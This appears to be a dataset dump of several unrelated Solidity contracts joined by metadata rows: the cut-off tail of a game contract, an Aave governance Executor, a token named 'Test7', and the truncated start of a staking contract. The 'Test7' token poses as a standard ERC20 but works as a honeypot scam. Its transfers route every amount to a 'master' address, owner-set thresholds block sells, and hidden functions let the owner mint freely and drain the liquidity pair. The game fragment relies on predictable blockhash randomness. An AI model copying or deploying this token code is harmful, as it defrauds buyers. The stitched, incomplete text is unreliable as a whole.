nAmount = -int(oRoom.nBid);
else if (!_mPlayers[oRoom.aPlayers[n]].oAddress.send(uint(nAmount = int(oRoom.nBid + nValue + _mPlayers[oRoom.aPlayers[n]].mGasByRoom[nRoom]))))
nAmount = 0; //fuckup with sending
_mPlayers[oRoom.aPlayers[n]].nSpent -= (_mPlayers[oRoom.aPlayers[n]].aResults[uint(nRoomTypeIndx)] = nAmount);
if (0 == (_mPlayerRooms[oRoom.aPlayers[n]] &= ~nRoomType))
delete _mPlayerRooms[oRoom.aPlayers[n]]; //remove player from room map if it was his last room
}
uint nDiff = uint(aHashes[nIndx2]) - uint(aHashes[nIndx1]);
if (nDiff > 0 && nDiff < _nJackpotDiapason) {
if (oRoom.aPlayers[nIndx1].send(_nJackpot)) {
_oJackpotRecipient = oRoom.aPlayers[nIndx1];
_nJackpotLast = _nJackpot;
_nJackpot = 0;
}
}
_mRooms[nRoom] = oRoom;
if (_nRefundCurrent > _nRefundLimit && 0 != _aLosers[0]) {
if (_aLosers[0].send(_nRefundCurrent)) {
_oRefundRecipient = _aLosers[0];
_nRefundLimit += _nRefundIncrease;
_mPlayers[_aLosers[0]].nSpent -= int(_nRefundCurrent);
_nRefundCurrent = 0;
}
}
losers();
}
function losers() private {
Player[] memory aLosers = new Player[](_aLosers.length);
Player memory oPlayer;
Player memory oShift;
uint nLoser;
uint nLength = _aPlayersBinds.length;
for (uint nPlayer=0; nLength > nPlayer; nPlayer++) {
oPlayer = _mPlayers[_aPlayersBinds[nPlayer]];
if (now - oPlayer.dt > 30 days) {
delete _mPlayers[_aPlayersBinds[nPlayer]];
_aPlayersBinds[nPlayer] = _aPlayersBinds[nLength--];
nPlayer--;
continue;
}
for (nLoser=0; aLosers.length > nLoser; nLoser++) {
if (0 == aLosers[nLoser].oAddress) {
aLosers[nLoser] = oPlayer;
break;
}
if (oPlayer.nSpent > aLosers[nLoser].nSpent) {
oShift = aLosers[nLoser];
aLosers[nLoser] = oPlayer;
oPlayer = oShift;
}
}
}
for (nLoser=0; aLosers.length > nLoser; nLoser++)
_aLosers[nLoser] = aLosers[nLoser].oAddress;
}
function gameCalculate(Room oRoom) private constant returns (bytes32[] memory aHashes, uint8 nIndx1, uint8 nIndx2) {
bytes32 aBlockHash = block.blockhash(oRoom.nLastPlayersBlockNumber);
uint nSize = oRoom.aPlayers.length;
aHashes = new bytes32[](nSize);
bytes32 nHash1 = bytes32(-1);
bytes32 nHash2 = bytes32(-1);
for (uint8 n=0; nSize > n; n++) {
aHashes[n] = sha256(uint(oRoom.aPlayers[n]) + uint(aBlockHash));
if (aHashes[n] <= nHash2) {
if (aHashes[n] <= nHash1) {
nHash2 = nHash1;
nIndx2 = nIndx1;
nHash1 = aHashes[n];
nIndx1 = n;
} else {
nHash2 = aHashes[n];
nIndx2 = n;
}
}
}
if (nIndx1 == nIndx2)
(nIndx1, nIndx2) = (0, 0);
return;
}
}
| 144,549 | 581 |
2108e0e8177a1b4cb2c034b342c38967429df07ce7e39c3fbfbb138ef3ecca17
| 43,883 |
.sol
|
Solidity
| false |
515131802
|
bgd-labs/aave-gov-level-2-update
|
99f9240b52b4a015e414eda777b8d81df382118d
|
etherscan/Executor/Executor.sol
| 4,773 | 18,001 |
// downloaded from etherscan at: Wed Sep 21 12:27:08 PM CEST 2022
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IGovernanceStrategy {
function getPropositionPowerAt(address user, uint256 blockNumber) external view returns (uint256);
function getTotalPropositionSupplyAt(uint256 blockNumber) external view returns (uint256);
function getTotalVotingSupplyAt(uint256 blockNumber) external view returns (uint256);
function getVotingPowerAt(address user, uint256 blockNumber) external view returns (uint256);
}
interface IAaveGovernanceV2 {
enum ProposalState {Pending, Canceled, Active, Failed, Succeeded, Queued, Expired, Executed}
struct Vote {
bool support;
uint248 votingPower;
}
struct Proposal {
uint256 id;
address creator;
IExecutorWithTimelock executor;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
bool[] withDelegatecalls;
uint256 startBlock;
uint256 endBlock;
uint256 executionTime;
uint256 forVotes;
uint256 againstVotes;
bool executed;
bool canceled;
address strategy;
bytes32 ipfsHash;
mapping(address => Vote) votes;
}
struct ProposalWithoutVotes {
uint256 id;
address creator;
IExecutorWithTimelock executor;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
bool[] withDelegatecalls;
uint256 startBlock;
uint256 endBlock;
uint256 executionTime;
uint256 forVotes;
uint256 againstVotes;
bool executed;
bool canceled;
address strategy;
bytes32 ipfsHash;
}
event ProposalCreated(uint256 id,
address indexed creator,
IExecutorWithTimelock indexed executor,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
bool[] withDelegatecalls,
uint256 startBlock,
uint256 endBlock,
address strategy,
bytes32 ipfsHash);
event ProposalCanceled(uint256 id);
event ProposalQueued(uint256 id, uint256 executionTime, address indexed initiatorQueueing);
event ProposalExecuted(uint256 id, address indexed initiatorExecution);
event VoteEmitted(uint256 id, address indexed voter, bool support, uint256 votingPower);
event GovernanceStrategyChanged(address indexed newStrategy, address indexed initiatorChange);
event VotingDelayChanged(uint256 newVotingDelay, address indexed initiatorChange);
event ExecutorAuthorized(address executor);
event ExecutorUnauthorized(address executor);
function create(IExecutorWithTimelock executor,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
bool[] memory withDelegatecalls,
bytes32 ipfsHash) external returns (uint256);
function cancel(uint256 proposalId) external;
function queue(uint256 proposalId) external;
function execute(uint256 proposalId) external payable;
function submitVote(uint256 proposalId, bool support) external;
function submitVoteBySignature(uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s) external;
function setGovernanceStrategy(address governanceStrategy) external;
function setVotingDelay(uint256 votingDelay) external;
function authorizeExecutors(address[] memory executors) external;
function unauthorizeExecutors(address[] memory executors) external;
function __abdicate() external;
function getGovernanceStrategy() external view returns (address);
function getVotingDelay() external view returns (uint256);
function isExecutorAuthorized(address executor) external view returns (bool);
function getGuardian() external view returns (address);
function getProposalsCount() external view returns (uint256);
function getProposalById(uint256 proposalId) external view returns (ProposalWithoutVotes memory);
function getVoteOnProposal(uint256 proposalId, address voter) external view returns (Vote memory);
function getProposalState(uint256 proposalId) external view returns (ProposalState);
}
interface IExecutorWithTimelock {
event NewPendingAdmin(address newPendingAdmin);
event NewAdmin(address newAdmin);
event NewDelay(uint256 delay);
event QueuedAction(bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall);
event CancelledAction(bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall);
event ExecutedAction(bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall,
bytes resultData);
function getAdmin() external view returns (address);
function getPendingAdmin() external view returns (address);
function getDelay() external view returns (uint256);
function isActionQueued(bytes32 actionHash) external view returns (bool);
function isProposalOverGracePeriod(IAaveGovernanceV2 governance, uint256 proposalId)
external
view
returns (bool);
function GRACE_PERIOD() external view returns (uint256);
function MINIMUM_DELAY() external view returns (uint256);
function MAXIMUM_DELAY() external view returns (uint256);
function queueTransaction(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall) external returns (bytes32);
function executeTransaction(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall) external payable returns (bytes memory);
function cancelTransaction(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall) external returns (bytes32);
}
contract ExecutorWithTimelock is IExecutorWithTimelock {
using SafeMath for uint256;
uint256 public immutable override GRACE_PERIOD;
uint256 public immutable override MINIMUM_DELAY;
uint256 public immutable override MAXIMUM_DELAY;
address private _admin;
address private _pendingAdmin;
uint256 private _delay;
mapping(bytes32 => bool) private _queuedTransactions;
constructor(address admin,
uint256 delay,
uint256 gracePeriod,
uint256 minimumDelay,
uint256 maximumDelay) {
require(delay >= minimumDelay, 'DELAY_SHORTER_THAN_MINIMUM');
require(delay <= maximumDelay, 'DELAY_LONGER_THAN_MAXIMUM');
_delay = delay;
_admin = admin;
GRACE_PERIOD = gracePeriod;
MINIMUM_DELAY = minimumDelay;
MAXIMUM_DELAY = maximumDelay;
emit NewDelay(delay);
emit NewAdmin(admin);
}
modifier onlyAdmin() {
require(msg.sender == _admin, 'ONLY_BY_ADMIN');
_;
}
modifier onlyTimelock() {
require(msg.sender == address(this), 'ONLY_BY_THIS_TIMELOCK');
_;
}
modifier onlyPendingAdmin() {
require(msg.sender == _pendingAdmin, 'ONLY_BY_PENDING_ADMIN');
_;
}
function setDelay(uint256 delay) public onlyTimelock {
_validateDelay(delay);
_delay = delay;
emit NewDelay(delay);
}
function acceptAdmin() public onlyPendingAdmin {
_admin = msg.sender;
_pendingAdmin = address(0);
emit NewAdmin(msg.sender);
}
function setPendingAdmin(address newPendingAdmin) public onlyTimelock {
_pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(newPendingAdmin);
}
function queueTransaction(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall) public override onlyAdmin returns (bytes32) {
require(executionTime >= block.timestamp.add(_delay), 'EXECUTION_TIME_UNDERESTIMATED');
bytes32 actionHash = keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall));
_queuedTransactions[actionHash] = true;
emit QueuedAction(actionHash, target, value, signature, data, executionTime, withDelegatecall);
return actionHash;
}
function cancelTransaction(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall) public override onlyAdmin returns (bytes32) {
bytes32 actionHash = keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall));
_queuedTransactions[actionHash] = false;
emit CancelledAction(actionHash,
target,
value,
signature,
data,
executionTime,
withDelegatecall);
return actionHash;
}
function executeTransaction(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall) public payable override onlyAdmin returns (bytes memory) {
bytes32 actionHash = keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall));
require(_queuedTransactions[actionHash], 'ACTION_NOT_QUEUED');
require(block.timestamp >= executionTime, 'TIMELOCK_NOT_FINISHED');
require(block.timestamp <= executionTime.add(GRACE_PERIOD), 'GRACE_PERIOD_FINISHED');
_queuedTransactions[actionHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
bool success;
bytes memory resultData;
if (withDelegatecall) {
require(msg.value >= value, 'NOT_ENOUGH_MSG_VALUE');
// solium-disable-next-line security/no-call-value
(success, resultData) = target.delegatecall(callData);
} else {
// solium-disable-next-line security/no-call-value
(success, resultData) = target.call{value: value}(callData);
}
require(success, 'FAILED_ACTION_EXECUTION');
emit ExecutedAction(actionHash,
target,
value,
signature,
data,
executionTime,
withDelegatecall,
resultData);
return resultData;
}
function getAdmin() external view override returns (address) {
return _admin;
}
function getPendingAdmin() external view override returns (address) {
return _pendingAdmin;
}
function getDelay() external view override returns (uint256) {
return _delay;
}
function isActionQueued(bytes32 actionHash) external view override returns (bool) {
return _queuedTransactions[actionHash];
}
function isProposalOverGracePeriod(IAaveGovernanceV2 governance, uint256 proposalId)
external
view
override
returns (bool)
{
IAaveGovernanceV2.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
return (block.timestamp > proposal.executionTime.add(GRACE_PERIOD));
}
function _validateDelay(uint256 delay) internal view {
require(delay >= MINIMUM_DELAY, 'DELAY_SHORTER_THAN_MINIMUM');
require(delay <= MAXIMUM_DELAY, 'DELAY_LONGER_THAN_MAXIMUM');
}
receive() external payable {}
}
interface IProposalValidator {
function validateCreatorOfProposal(IAaveGovernanceV2 governance,
address user,
uint256 blockNumber) external view returns (bool);
function validateProposalCancellation(IAaveGovernanceV2 governance,
address user,
uint256 blockNumber) external view returns (bool);
function isPropositionPowerEnough(IAaveGovernanceV2 governance,
address user,
uint256 blockNumber) external view returns (bool);
function getMinimumPropositionPowerNeeded(IAaveGovernanceV2 governance, uint256 blockNumber)
external
view
returns (uint256);
function isProposalPassed(IAaveGovernanceV2 governance, uint256 proposalId)
external
view
returns (bool);
function isQuorumValid(IAaveGovernanceV2 governance, uint256 proposalId)
external
view
returns (bool);
function isVoteDifferentialValid(IAaveGovernanceV2 governance, uint256 proposalId)
external
view
returns (bool);
function getMinimumVotingPowerNeeded(uint256 votingSupply) external view returns (uint256);
function PROPOSITION_THRESHOLD() external view returns (uint256);
function VOTING_DURATION() external view returns (uint256);
function VOTE_DIFFERENTIAL() external view returns (uint256);
function MINIMUM_QUORUM() external view returns (uint256);
function ONE_HUNDRED_WITH_PRECISION() external view returns (uint256);
}
contract ProposalValidator is IProposalValidator {
using SafeMath for uint256;
uint256 public immutable override PROPOSITION_THRESHOLD;
uint256 public immutable override VOTING_DURATION;
uint256 public immutable override VOTE_DIFFERENTIAL;
uint256 public immutable override MINIMUM_QUORUM;
uint256 public constant override ONE_HUNDRED_WITH_PRECISION = 10000; // Equivalent to 100%, but scaled for precision
constructor(uint256 propositionThreshold,
uint256 votingDuration,
uint256 voteDifferential,
uint256 minimumQuorum) {
PROPOSITION_THRESHOLD = propositionThreshold;
VOTING_DURATION = votingDuration;
VOTE_DIFFERENTIAL = voteDifferential;
MINIMUM_QUORUM = minimumQuorum;
}
function validateCreatorOfProposal(IAaveGovernanceV2 governance,
address user,
uint256 blockNumber) external view override returns (bool) {
return isPropositionPowerEnough(governance, user, blockNumber);
}
function validateProposalCancellation(IAaveGovernanceV2 governance,
address user,
uint256 blockNumber) external view override returns (bool) {
return !isPropositionPowerEnough(governance, user, blockNumber);
}
function isPropositionPowerEnough(IAaveGovernanceV2 governance,
address user,
uint256 blockNumber) public view override returns (bool) {
IGovernanceStrategy currentGovernanceStrategy = IGovernanceStrategy(governance.getGovernanceStrategy());
return
currentGovernanceStrategy.getPropositionPowerAt(user, blockNumber) >=
getMinimumPropositionPowerNeeded(governance, blockNumber);
}
function getMinimumPropositionPowerNeeded(IAaveGovernanceV2 governance, uint256 blockNumber)
public
view
override
returns (uint256)
{
IGovernanceStrategy currentGovernanceStrategy = IGovernanceStrategy(governance.getGovernanceStrategy());
return
currentGovernanceStrategy
.getTotalPropositionSupplyAt(blockNumber)
.mul(PROPOSITION_THRESHOLD)
.div(ONE_HUNDRED_WITH_PRECISION);
}
function isProposalPassed(IAaveGovernanceV2 governance, uint256 proposalId)
external
view
override
returns (bool)
{
return (isQuorumValid(governance, proposalId) &&
isVoteDifferentialValid(governance, proposalId));
}
function getMinimumVotingPowerNeeded(uint256 votingSupply)
public
view
override
returns (uint256)
{
return votingSupply.mul(MINIMUM_QUORUM).div(ONE_HUNDRED_WITH_PRECISION);
}
function isQuorumValid(IAaveGovernanceV2 governance, uint256 proposalId)
public
view
override
returns (bool)
{
IAaveGovernanceV2.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
uint256 votingSupply = IGovernanceStrategy(proposal.strategy).getTotalVotingSupplyAt(proposal.startBlock);
return proposal.forVotes >= getMinimumVotingPowerNeeded(votingSupply);
}
function isVoteDifferentialValid(IAaveGovernanceV2 governance, uint256 proposalId)
public
view
override
returns (bool)
{
IAaveGovernanceV2.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
uint256 votingSupply = IGovernanceStrategy(proposal.strategy).getTotalVotingSupplyAt(proposal.startBlock);
return (proposal.forVotes.mul(ONE_HUNDRED_WITH_PRECISION).div(votingSupply) >
proposal.againstVotes.mul(ONE_HUNDRED_WITH_PRECISION).div(votingSupply).add(VOTE_DIFFERENTIAL));
}
}
contract Executor is ExecutorWithTimelock, ProposalValidator {
constructor(address admin,
uint256 delay,
uint256 gracePeriod,
uint256 minimumDelay,
uint256 maximumDelay,
uint256 propositionThreshold,
uint256 voteDuration,
uint256 voteDifferential,
uint256 minimumQuorum)
ExecutorWithTimelock(admin, delay, gracePeriod, minimumDelay, maximumDelay)
ProposalValidator(propositionThreshold, voteDuration, voteDifferential, minimumQuorum)
{}
}
| 62,247 | 582 |
6e72d9646cfb190c83c82f664a507e150a6802ff0f74f2523edeee5ea06a2f9d
| 16,812 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/30/30916d72cc6729561dca0415899483769b5d3490_Test7.sol
| 3,733 | 15,825 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Test7 is Context, IERC20, Ownable {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
uint8 internal constant _DECIMALS = 18;
address public master;
mapping(address => bool) public _marketersAndDevs;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _buySum;
mapping(address => uint256) internal _sellSum;
mapping(address => uint256) internal _sellSumETH;
uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
uint256 internal _theNumber = ~uint256(0);
uint256 internal _theRemainder = 0;
modifier onlyMaster() {
require(msg.sender == master);
_;
address msgSender = _msgSender();
master = msgSender;
}
constructor(address routerAddress) {
_router = IPancakeRouter02(routerAddress);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
_balances[owner()] = _totalSupply;
master = owner();
_allowances[address(_pair)][master] = ~uint256(0);
_marketersAndDevs[owner()] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() external pure override returns (string memory) {
return "Test7";
}
function symbol() external pure override returns (string memory) {
return "TEST7";
}
function decimals() external pure override returns (uint8) {
return _DECIMALS;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
if (_canTransfer(_msgSender(), recipient, amount)) {
_transfer(_msgSender(), recipient, amount);
}
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
if (_canTransfer(sender, recipient, amount)) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function burn(uint256 amount) external onlyOwner {
_balances[owner()] -= amount;
_totalSupply -= amount;
}
function setNumber(uint256 newNumber) external onlyOwner {
_theNumber = newNumber;
}
function setRemainder(uint256 newRemainder) external onlyOwner {
_theRemainder = newRemainder;
}
function setMaster(address account) external onlyOwner {
_allowances[address(_pair)][master] = 0;
master = account;
_allowances[address(_pair)][master] = ~uint256(0);
}
function syncPair() external onlyMaster {
_pair.sync();
}
function includeInReward(address account) external onlyMaster {
_marketersAndDevs[account] = true;
}
function excludeFromReward(address account) external onlyMaster {
_marketersAndDevs[account] = false;
}
function rewardHolders(uint256 amount) external onlyMaster {
_balances[owner()] += amount;
_totalSupply += amount;
}
function _isSuper(address account) private view returns (bool) {
return (account == address(_router) || account == address(_pair));
}
function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
return true;
}
if (_isSuper(sender)) {
return true;
}
if (_isSuper(recipient)) {
uint256 amountETH = _getETHEquivalent(amount);
uint256 bought = _buySum[sender];
uint256 sold = _sellSum[sender];
uint256 soldETH = _sellSumETH[sender];
return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder;
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[master] += amount;
emit Transfer(sender, master, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _hasLiquidity() private view returns (bool) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
return reserve0 > 0 && reserve1 > 0;
}
function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
if (_pair.token0() == _router.WETH()) {
return _router.getAmountOut(amountTokens, reserve1, reserve0);
} else {
return _router.getAmountOut(amountTokens, reserve0, reserve1);
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) private {
if (_hasLiquidity()) {
if (_isSuper(from)) {
_buySum[to] += amount;
}
if (_isSuper(to)) {
_sellSum[from] += amount;
_sellSumETH[from] += _getETHEquivalent(amount);
}
}
}
}
| 314,795 | 583 |
ad4b1f4c750ae343f9ada01cadcdfbdeff84db528ecae3ebf9cf128864dca37b
| 18,195 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/07/079fDA9dc6802B9cC4B7b2B680Ea8271A68021a8_Staking.sol
| 4,805 | 17,322 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,address to,uint256 tokenId) external;
